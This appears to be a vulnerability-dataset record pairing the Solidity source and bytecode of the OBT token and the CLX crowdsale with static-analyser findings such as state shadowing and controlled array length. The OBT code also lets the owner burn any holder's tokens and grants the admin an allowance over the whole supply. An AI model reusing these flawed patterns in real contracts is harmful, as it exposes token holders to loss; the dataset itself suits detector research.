require(newOwner != admin);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin != newAdmin);
require(owner != newAdmin);
admin = newAdmin;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a); // overflow check
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 _totalSupply;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken, Ownable {
string internal constant INVALID_TOKEN_VALUES = 'Invalid token values';
string internal constant NOT_ENOUGH_TOKENS = 'Not enough tokens';
// events
event Burn(address indexed burner, uint256 amount);
event Mint(address indexed minter, uint256 amount);
event AddressBurn(address burner, uint256 amount);
// reduce sender balance and Token total supply
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
// reduce address balance and Token total supply
function addressburn(address _of, uint256 _value) onlyOwner public {
require(_value > 0, INVALID_TOKEN_VALUES);
require(_value <= balances[_of], NOT_ENOUGH_TOKENS);
balances[_of] = balances[_of].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit AddressBurn(_of, _value);
emit Transfer(_of, address(0), _value);
}
// increase sender balance and Token total supply
function mint(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].add(_value);
_totalSupply = _totalSupply.add(_value);
emit Mint(msg.sender, _value);
emit Transfer(address(0), msg.sender, _value);
}
}
contract TokenLock is Ownable {
using SafeMath for uint256;
bool public transferEnabled = false; // indicates that token is transferable or not
bool public noTokenLocked = false; // indicates all token is released or not
struct TokenLockInfo { // token of `amount` cannot be moved before `time`
uint256 amount; // locked amount
uint256 time; // unix timestamp
}
struct TokenLockState {
uint256 latestReleaseTime;
TokenLockInfo[] tokenLocks; // multiple token locks can exist
}
mapping(address => TokenLockState) lockingStates;
mapping(address => bool) addresslock;
mapping(address => uint256) lockbalances;
event AddTokenLockDate(address indexed to, uint256 time, uint256 amount);
event AddTokenLock(address indexed to, uint256 amount);
event AddressLockTransfer(address indexed to, bool _enable);
function unlockAllTokens() public onlyOwner {
noTokenLocked = true;
}
function enableTransfer(bool _enable) public onlyOwner {
transferEnabled = _enable;
}
// calculate the amount of tokens an address can use
function getMinLockedAmount(address _addr) view public returns (uint256 locked) {
uint256 i;
uint256 a;
uint256 t;
uint256 lockSum = 0;
// if the address has no limitations just return 0
TokenLockState storage lockState = lockingStates[_addr];
if (lockState.latestReleaseTime < now) {
return 0;
}
for (i=0; i<lockState.tokenLocks.length; i++) {
a = lockState.tokenLocks[i].amount;
t = lockState.tokenLocks[i].time;
if (t > now) {
lockSum = lockSum.add(a);
}
}
return lockSum;
}
function lockVolumeAddress(address _sender) view public returns (uint256 locked) {
return lockbalances[_sender];
}
function addTokenLockDate(address _addr, uint256 _value, uint256 _release_time) onlyOwnerOrAdmin public {
require(_addr != address(0));
require(_value > 0);
require(_release_time > now);
TokenLockState storage lockState = lockingStates[_addr]; // assigns a pointer. change the member value will update struct itself.
if (_release_time > lockState.latestReleaseTime) {
lockState.latestReleaseTime = _release_time;
}
lockState.tokenLocks.push(TokenLockInfo(_value, _release_time));
emit AddTokenLockDate(_addr, _release_time, _value);
}
function addTokenLock(address _addr, uint256 _value) onlyOwnerOrAdmin public {
require(_addr != address(0));
require(_value >= 0);
lockbalances[_addr] = _value;
emit AddTokenLock(_addr, _value);
}
function addressLockTransfer(address _addr, bool _enable) public onlyOwner {
require(_addr != address(0));
addresslock[_addr] = _enable;
emit AddressLockTransfer(_addr, _enable);
}
}
contract OBT is BurnableToken, DetailedERC20, ERC20Token, TokenLock {
using SafeMath for uint256;
// events
event Approval(address indexed owner, address indexed spender, uint256 value);
string public constant symbol = "OBT";
string public constant name = "OneBankToken";
string public constant note = "OneBank is a DeFi crypto designed to efficiently manage fragmented individuals' assets.";
uint8 public constant decimals = 8;
uint256 constant TOTAL_SUPPLY = 1000000000 *(10**uint256(decimals));
constructor() DetailedERC20(name, symbol, note, decimals) public {
_totalSupply = TOTAL_SUPPLY;
// initial supply belongs to owner
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
// modifiers
// checks if the address can transfer tokens
modifier canTransfer(address _sender, uint256 _value) {
require(_sender != address(0));
require(
(_sender == owner || _sender == admin) || (
transferEnabled && (
noTokenLocked ||
(!addresslock[_sender] && canTransferIfLocked(_sender, _value) && canTransferIfLocked(_sender, _value))
)
)
);
_;
}
function setAdmin(address newAdmin) onlyOwner public {
address oldAdmin = admin;
super.setAdmin(newAdmin);
approve(oldAdmin, 0);
approve(newAdmin, TOTAL_SUPPLY);
}
modifier onlyValidDestination(address to) {
require(to != address(0x0));
require(to != address(this));
//require(to != owner);
_;
}
function canTransferIfLocked(address _sender, uint256 _value) public view returns(bool) {
uint256 after_math = balances[_sender].sub(_value);
return after_math >= (getMinLockedAmount(_sender) + lockVolumeAddress(_sender));
}
function LockTransferAddress(address _sender) public view returns(bool) {
return addresslock[_sender];
}
// override function using canTransfer on the sender address
function transfer(address _to, uint256 _value) onlyValidDestination(_to) canTransfer(msg.sender, _value) public returns (bool success) {
return super.transfer(_to, _value);
}
// transfer tokens from one address to another
function transferFrom(address _from, address _to, uint256 _value) onlyValidDestination(_to) canTransfer(_from, _value) public returns (bool success) {
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // this will throw if we don't have enough allowance
// this event comes from BasicToken.sol
emit Transfer(_from, _to, _value);
return true;
}
function() public payable { // don't send eth directly to token contract
revert();
}
}
|
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610184578063095ea7b31461020e57806318160ddd146102465780631eee6a8d1461026d5780632292952c1461029657806323b872dd146102b757806326d111f5146102e157806329ba3177146102f65780632a7806e41461031a578063313ce5671461032f57806342966c681461035a5780634cd412d5146103725780635e0be60714610387578063661884631461039c578063704b6c02146103c057806370a08231146103e157806374ad74e91461040257806375d7e8ea146104235780637784f2c7146104475780638da5cb5b1461046d57806395d89b411461049e578063a0712d68146104b3578063a802a2f4146104cb578063a9059cbb146104ec578063d73dd62314610510578063dd62ed3e14610534578063eb20ca411461055b578063ef7ac0e51461057f578063f2fde38b14610599578063f851a440146105ba575b600080fd5b34801561019057600080fd5b506101996105cf565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d35781810151838201526020016101bb565b50505050905090810190601f1680156102005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021a57600080fd5b50610232600160a060020a0360043516602435610606565b604080519115158252519081900360200190f35b34801561025257600080fd5b5061025b6106a8565b60408051918252519081900360200190f35b34801561027957600080fd5b50610294600160a060020a03600435166024356044356106ae565b005b3480156102a257600080fd5b5061025b600160a060020a03600435166107c0565b3480156102c357600080fd5b50610232600160a060020a03600435811690602435166044356107db565b3480156102ed57600080fd5b506101996109b3565b34801561030257600080fd5b50610294600160a060020a0360043516602435610a39565b34801561032657600080fd5b50610232610cb3565b34801561033b57600080fd5b50610344610cc1565b6040805160ff9092168252519081900360200190f35b34801561036657600080fd5b50610294600435610cc6565b34801561037e57600080fd5b50610232610d82565b34801561039357600080fd5b50610294610d8b565b3480156103a857600080fd5b50610232600160a060020a0360043516602435610db3565b3480156103cc57600080fd5b50610294600160a060020a0360043516610ea2565b3480156103ed57600080fd5b5061025b600160a060020a0360043516610ef5565b34801561040e57600080fd5b5061025b600160a060020a0360043516610f10565b34801561042f57600080fd5b50610232600160a060020a0360043516602435610fd0565b34801561045357600080fd5b50610294600160a060020a03600435166024351515611019565b34801561047957600080fd5b506104826110a5565b60408051600160a060020a039092168252519081900360200190f35b3480156104aa57600080fd5b506101996110b4565b3480156104bf57600080fd5b506102946004356110eb565b3480156104d757600080fd5b50610232600160a060020a03600435166111a7565b3480156104f857600080fd5b50610232600160a060020a03600435166024356111c5565b34801561051c57600080fd5b50610232600160a060020a03600435166024356112ac565b34801561054057600080fd5b5061025b600160a060020a0360043581169060243516611345565b34801561056757600080fd5b50610294600160a060020a0360043516602435611370565b34801561058b57600080fd5b50610294600435151561141f565b3480156105a557600080fd5b50610294600160a060020a0360043516611449565b3480156105c657600080fd5b50610482611514565b60408051808201909152600c81527f4f6e6542616e6b546f6b656e0000000000000000000000000000000000000000602082015281565b60008115806106365750336000908152600860209081526040808320600160a060020a0387168452909152902054155b151561064157600080fd5b336000818152600860209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b600033158015906106dd5750600254600160a060020a03163314806106dd5750600354600160a060020a031633145b15156106e857600080fd5b600160a060020a03841615156106fd57600080fd5b6000831161070a57600080fd5b42821161071657600080fd5b50600160a060020a0383166000908152600a60205260409020805482111561073c578181555b604080518082018252848152602080820185815260018086018054808301825560009182529084902094516002909102909401938455905192019190915581518481529081018590528151600160a060020a038716927fdbb3979b78c94a13fcfc98491a14180b56267350de06698a75ba88fa114f315c928290030190a250505050565b600160a060020a03166000908152600c602052604090205490565b600082600160a060020a03811615156107f357600080fd5b600160a060020a03811630141561080957600080fd5b8483600160a060020a038216151561082057600080fd5b600254600160a060020a03838116911614806108495750600354600160a060020a038381169116145b806108ac575060095460ff1680156108ac5750600954610100900460ff16806108ac5750600160a060020a0382166000908152600b602052604090205460ff1615801561089b575061089b8282610fd0565b80156108ac57506108ac8282610fd0565b15156108b757600080fd5b600160a060020a0387166000908152602081905260409020546108e0908663ffffffff61152316565b600160a060020a038089166000908152602081905260408082209390935590881681522054610915908663ffffffff61153516565b600160a060020a0380881660009081526020818152604080832094909455918a168152600882528281203382529091522054610957908663ffffffff61152316565b600160a060020a0380891660008181526008602090815260408083203384528252918290209490945580518981529051928a169391926000805160206116a4833981519152929181900390910190a35060019695505050505050565b608060405190810160405280605781526020017f4f6e6542616e6b206973206120446546692063727970746f2064657369676e6581526020017f6420746f20656666696369656e746c79206d616e61676520667261676d656e7481526020017f656420696e646976696475616c7327206173736574732e00000000000000000081525081565b600254600160a060020a03163314610a5057600080fd5b60408051808201909152601481527f496e76616c696420746f6b656e2076616c756573000000000000000000000000602082015260008211610b2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610aef578181015183820152602001610ad7565b50505050905090810190601f168015610b1c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600160a060020a03821660009081526020818152604091829020548251808401909352601183527f4e6f7420656e6f75676820746f6b656e7300000000000000000000000000000091830191909152821115610be3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252838181518152602001915080519060200190808383600083811015610aef578181015183820152602001610ad7565b50600160a060020a038216600090815260208190526040902054610c0d908263ffffffff61152316565b600160a060020a038316600090815260208190526040902055600154610c39908263ffffffff61152316565b60015560408051600160a060020a03841681526020810183905281517f549fe1c7b7237a3f61e4860f69519c5d76c20fb3cb213bf84ba242f2d4e63101929181900390910190a1604080518281529051600091600160a060020a038516916000805160206116a48339815191529181900360200190a35050565b600954610100900460ff1681565b600881565b600254600160a060020a03163314610cdd57600080fd5b33600090815260208190526040902054610cfd908263ffffffff61152316565b33600090815260208190526040902055600154610d20908263ffffffff61152316565b60015560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051828152905160009133916000805160206116a48339815191529181900360200190a350565b60095460ff1681565b600254600160a060020a03163314610da257600080fd5b6009805461ff001916610100179055565b336000908152600860209081526040808320600160a060020a0386168452909152812054808310610e0757336000908152600860209081526040808320600160a060020a0388168452909152812055610e3c565b610e17818463ffffffff61152316565b336000908152600860209081526040808320600160a060020a03891684529091529020555b336000818152600860209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600254600090600160a060020a03163314610ebc57600080fd5b50600354600160a060020a0316610ed28261154b565b610edd816000610606565b50610ef08267016345785d8a0000610606565b505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a0381166000908152600a6020526040812080548291829182918291421115610f425760009550610fc6565b600094505b6001810154851015610fc25760018101805486908110610f6357fe5b90600052602060002090600202016000015493508060010185815481101515610f8857fe5b906000526020600020906002020160010154925042831115610fb757610fb4828563ffffffff61153516565b91505b600190940193610f47565b8195505b5050505050919050565b600160a060020a0382166000908152602081905260408120548190610ffb908463ffffffff61152316565b9050611006846107c0565b61100f85610f10565b0111159392505050565b600254600160a060020a0316331461103057600080fd5b600160a060020a038216151561104557600080fd5b600160a060020a0382166000818152600b6020908152604091829020805460ff1916851515908117909155825190815291517f6dd5a7941ee5159148c1fc57fc90e228da8894ad0402921937808ff3387cecc49281900390910190a25050565b600254600160a060020a031681565b60408051808201909152600381527f4f42540000000000000000000000000000000000000000000000000000000000602082015281565b600254600160a060020a0316331461110257600080fd5b33600090815260208190526040902054611122908263ffffffff61153516565b33600090815260208190526040902055600154611145908263ffffffff61153516565b60015560408051828152905133917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a260408051828152905133916000916000805160206116a48339815191529181900360200190a350565b600160a060020a03166000908152600b602052604090205460ff1690565b600082600160a060020a03811615156111dd57600080fd5b600160a060020a0381163014156111f357600080fd5b338381151561120157600080fd5b600254600160a060020a038381169116148061122a5750600354600160a060020a038381169116145b8061128d575060095460ff16801561128d5750600954610100900460ff168061128d5750600160a060020a0382166000908152600b602052604090205460ff1615801561127c575061127c8282610fd0565b801561128d575061128d8282610fd0565b151561129857600080fd5b6112a286866115c7565b9695505050505050565b336000908152600860209081526040808320600160a060020a03861684529091528120546112e0908363ffffffff61153516565b336000818152600860209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b331580159061139d5750600254600160a060020a031633148061139d5750600354600160a060020a031633145b15156113a857600080fd5b600160a060020a03821615156113bd57600080fd5b60008110156113cb57600080fd5b600160a060020a0382166000818152600c6020908152604091829020849055815184815291517f9fdfba1cadc85a4f86fec37bf6eb2bda0beeeee783af62de3c2c59ddbf889d339281900390910190a25050565b600254600160a060020a0316331461143657600080fd5b6009805460ff1916911515919091179055565b600254600160a060020a0316331461146057600080fd5b600160a060020a038116151561147557600080fd5b600254600160a060020a038281169116141561149057600080fd5b600354600160a060020a03828116911614156114ab57600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600160a060020a031681565b60008282111561152f57fe5b50900390565b60008282018381101561154457fe5b9392505050565b600254600160a060020a0316331461156257600080fd5b600354600160a060020a038281169116141561157d57600080fd5b600254600160a060020a038281169116141561159857600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a03831615156115de57600080fd5b600082116115eb57600080fd5b3360009081526020819052604090205482111561160757600080fd5b33600090815260208190526040902054611627908363ffffffff61152316565b3360009081526020819052604080822092909255600160a060020a03851681522054611659908363ffffffff61153516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206116a48339815191529281900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820fc4e9100d8a69dd520e3fb5faf51755fa2887e1606aad78c58418ed6081847f80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,441 |
0xb42211a1b3ae2ec02454850790c02b683abf9dda
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _amount)external returns (bool success);
function balanceOf(address _owner) external returns (uint256 balance);
function decimals()external view returns (uint8);
}
/**
* @title Vault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Funds will be transferred to owner on adhoc requests
*/
contract Vault is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public deposited;
address public wallet;
event Withdrawn(address _wallet);
function Vault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
function deposit(address investor) public onlyOwner payable{
deposited[investor] = deposited[investor].add(msg.value);
}
function withdrawToWallet() public onlyOwner {
wallet.transfer(this.balance);
emit Withdrawn(wallet);
}
}
contract CLXTokenSale is Ownable{
using SafeMath for uint256;
//Token to be used for this sale
Token public token;
//All funds will go into this vault
Vault public vault;
//rate of token in ether 1ETH = 8000 CLX
uint256 public rate = 8000;
/*
*There will be 2 phases
* 1. Pre-sale
* 2. ICO Phase 1
*/
struct PhaseInfo{
uint256 hardcap;
uint256 startTime;
uint256 endTime;
uint8 bonusPercentages;
uint256 minEtherContribution;
uint256 weiRaised;
}
//info of each phase
PhaseInfo[] public phases;
//Total funding
uint256 public totalFunding;
//total tokens available for sale considering 8 decimal places
uint256 tokensAvailableForSale = 17700000000000000;
uint8 public noOfPhases;
//Keep track of whether contract is up or not
bool public contractUp;
//Keep track of whether the sale has ended or not
bool public saleEnded;
//Keep track of emergency stop
bool public ifEmergencyStop ;
//Event to trigger Sale stop
event SaleStopped(address _owner, uint256 time);
//Event to trigger Sale restart
event SaleRestarted(address _owner, uint256 time);
//Event to trigger normal flow of sale end
event Finished(address _owner, uint256 time);
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
//modifiers
modifier _contractUp(){
require(contractUp);
_;
}
modifier nonZeroAddress(address _to) {
require(_to != address(0));
_;
}
modifier _saleEnded() {
require(saleEnded);
_;
}
modifier _saleNotEnded() {
require(!saleEnded);
_;
}
modifier _ifNotEmergencyStop() {
require(!ifEmergencyStop);
_;
}
/**
* @dev Check if sale contract has enough tokens on its account balance
* to reward all possible participations within sale period
*/
function powerUpContract() external onlyOwner {
// Contract should not be powered up previously
require(!contractUp);
// Contract should have enough CLX credits
require(token.balanceOf(this) >= tokensAvailableForSale);
//activate the sale process
contractUp = true;
}
//for Emergency stop of the sale
function emergencyStop() external onlyOwner _contractUp _ifNotEmergencyStop {
ifEmergencyStop = true;
emit SaleStopped(msg.sender, now);
}
//to restart the sale after emergency stop
function emergencyRestart() external onlyOwner _contractUp {
require(ifEmergencyStop);
ifEmergencyStop = false;
emit SaleRestarted(msg.sender, now);
}
// @return true if all the tiers has been ended
function saleTimeOver() public view returns (bool) {
return (phases[noOfPhases-1].endTime != 0);
}
/**
* @dev Can be called only once. The method to allow owner to set tier information
* @param _noOfPhases The integer to set number of tiers
* @param _startTimes The array containing start time of each tier
* @param _endTimes The array containing end time of each tier
* @param _hardCaps The array containing hard cap for each tier
* @param _bonusPercentages The array containing bonus percentage for each tier
* The arrays should be in sync with each other. For each index 0 for each of the array should contain info about Tier 1, similarly for Tier2, 3 and 4 .
* Sales hard cap will be the hard cap of last tier
*/
function setTiersInfo(uint8 _noOfPhases, uint256[] _startTimes, uint256[] _endTimes, uint256[] _hardCaps ,uint256[] _minEtherContribution, uint8[2] _bonusPercentages)private {
require(_noOfPhases == 2);
//Each array should contain info about each tier
require(_startTimes.length == 2);
require(_endTimes.length == _noOfPhases);
require(_hardCaps.length == _noOfPhases);
require(_bonusPercentages.length == _noOfPhases);
noOfPhases = _noOfPhases;
for(uint8 i = 0; i < _noOfPhases; i++){
require(_hardCaps[i] > 0);
if(i>0){
phases.push(PhaseInfo({
hardcap:_hardCaps[i],
startTime:_startTimes[i],
endTime:_endTimes[i],
minEtherContribution : _minEtherContribution[i],
bonusPercentages:_bonusPercentages[i],
weiRaised:0
}));
}
else{
//start time of tier1 should be greater than current time
require(_startTimes[i] > now);
phases.push(PhaseInfo({
hardcap:_hardCaps[i],
startTime:_startTimes[i],
minEtherContribution : _minEtherContribution[i],
endTime:_endTimes[i],
bonusPercentages:_bonusPercentages[i],
weiRaised:0
}));
}
}
}
/**
* @dev Constructor method
* @param _tokenToBeUsed Address of the token to be used for Sales
* @param _wallet Address of the wallet which will receive the collected funds
*/
function CLXTokenSale(address _tokenToBeUsed, address _wallet)public nonZeroAddress(_tokenToBeUsed) nonZeroAddress(_wallet){
token = Token(_tokenToBeUsed);
vault = new Vault(_wallet);
uint256[] memory startTimes = new uint256[](2);
uint256[] memory endTimes = new uint256[](2);
uint256[] memory hardCaps = new uint256[](2);
uint256[] memory minEtherContribution = new uint256[](2);
uint8[2] memory bonusPercentages;
//pre-sales
startTimes[0] = 1525910400; //MAY 10, 2018 00:00 AM GMT
endTimes[0] = 0; //NO END TIME INITIALLY
hardCaps[0] = 7500 ether;
minEtherContribution[0] = 0.3 ether;
bonusPercentages[0] = 20;
//phase-1: Public Sale
startTimes[1] = 0; //NO START TIME INITIALLY
endTimes[1] = 0; //NO END TIME INITIALLY
hardCaps[1] = 12500 ether;
minEtherContribution[1] = 0.1 ether;
bonusPercentages[1] = 5;
setTiersInfo(2, startTimes, endTimes, hardCaps, minEtherContribution, bonusPercentages);
}
//Fallback function used to buytokens
function()public payable{
buyTokens(msg.sender);
}
function startNextPhase() public onlyOwner _saleNotEnded _contractUp _ifNotEmergencyStop returns(bool){
int8 currentPhaseIndex = getCurrentlyRunningPhase();
require(currentPhaseIndex == 0);
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 tokensLeft;
uint256 tokensInPreICO = 7200000000000000; //considering 8 decimal places
//Checking if tokens are left after the Pre ICO sale, if left, transfer all to the owner
if(currentlyRunningPhase.weiRaised <= 7500 ether) {
tokensLeft = tokensInPreICO.sub(currentlyRunningPhase.weiRaised.mul(9600).div(10000000000));
token.transfer(msg.sender, tokensLeft);
}
phases[0].endTime = now;
phases[1].startTime = now;
return true;
}
/**
* @dev Must be called to end the sale, to do some extra finalization
* work. It finishes the sale, sends the unsold tokens to the owner's address
* IMP : Call withdrawFunds() before finishing the sale
*/
function finishSale() public onlyOwner _contractUp _saleNotEnded returns (bool){
int8 currentPhaseIndex = getCurrentlyRunningPhase();
require(currentPhaseIndex == 1);
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 tokensLeft;
uint256 tokensInPublicSale = 10500000000000000; //considering 8 decimal places
//Checking if tokens are left after the Public sale, if left, transfer all to the owner
if(currentlyRunningPhase.weiRaised <= 12500 ether) {
tokensLeft = tokensInPublicSale.sub(currentlyRunningPhase.weiRaised.mul(8400).div(10000000000));
token.transfer(msg.sender, tokensLeft);
}
//End the sale
saleEnded = true;
//Set the endTime of Public Sale
phases[noOfPhases-1].endTime = now;
emit Finished(msg.sender, now);
return true;
}
/**
* @dev Low level token purchase function
* @param beneficiary The address who will receive the tokens for this transaction
*/
function buyTokens(address beneficiary)public _contractUp _saleNotEnded _ifNotEmergencyStop nonZeroAddress(beneficiary) payable returns(bool){
int8 currentPhaseIndex = getCurrentlyRunningPhase();
assert(currentPhaseIndex >= 0);
// recheck this for storage and memory
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 weiAmount = msg.value;
//Check hard cap for this phase has not been reached
require(weiAmount.add(currentlyRunningPhase.weiRaised) <= currentlyRunningPhase.hardcap);
//check the minimum ether contribution
require(weiAmount >= currentlyRunningPhase.minEtherContribution);
uint256 tokens = weiAmount.mul(rate).div(10000000000);//considering decimal places to be 8 for token
uint256 bonusedTokens = applyBonus(tokens, currentlyRunningPhase.bonusPercentages);
totalFunding = totalFunding.add(weiAmount);
currentlyRunningPhase.weiRaised = currentlyRunningPhase.weiRaised.add(weiAmount);
vault.deposit.value(msg.value)(msg.sender);
token.transfer(beneficiary, bonusedTokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
return true;
}
/**
*@dev Method to calculate bonus for the user as per currently running phase and contribution by the user
* @param tokens Total tokens purchased by the user
* @param percentage Array of bonus percentages for the phase
*/
function applyBonus(uint256 tokens, uint8 percentage) private pure returns (uint256) {
uint256 tokensToAdd = 0;
tokensToAdd = tokens.mul(percentage).div(100);
return tokens.add(tokensToAdd);
}
/**
* @dev returns the currently running tier index as per time
* Return -1 if no tier is running currently
* */
function getCurrentlyRunningPhase()public view returns(int8){
for(uint8 i=0;i<noOfPhases;i++){
if(phases[i].startTime!=0 && now>=phases[i].startTime && phases[i].endTime == 0){
return int8(i);
}
}
return -1;
}
/**
* @dev Get funding info of user/address.
* It will return how much funding the user has made in terms of wei
*/
function getFundingInfoForUser(address _user)public view nonZeroAddress(_user) returns(uint256){
return vault.deposited(_user);
}
/**
* @dev Allow owner to withdraw funds to his wallet anytime in between the sale process
*/
function withDrawFunds()public onlyOwner _saleNotEnded _contractUp {
vault.withdrawToWallet();
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306d145c914610129578063137a1464146101805780631b35f56f146101af5780632c4e722e146101e05780632e37eef61461020b5780635b389dbb1461027557806363a599a41461028c5780638b6932f1146102a35780638da5cb5b146102d25780638f86f5ea146103295780639b8906ae14610358578063a0edc20414610387578063a612c638146103b8578063ac270c37146103cf578063b78da386146103fe578063ba61810c14610415578063ec8ac4d814610444578063f2fde38b14610492578063fbfa77cf146104d5578063fc0c546a1461052c578063fe47a8a714610583575b610126336105ae565b50005b34801561013557600080fd5b5061016a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061099a565b6040518082815260200191505060405180910390f35b34801561018c57600080fd5b50610195610ad9565b604051808215151515815260200191505060405180910390f35b3480156101bb57600080fd5b506101c4610aec565b604051808260000b60000b815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610bd9565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b5061023660048036038101908080359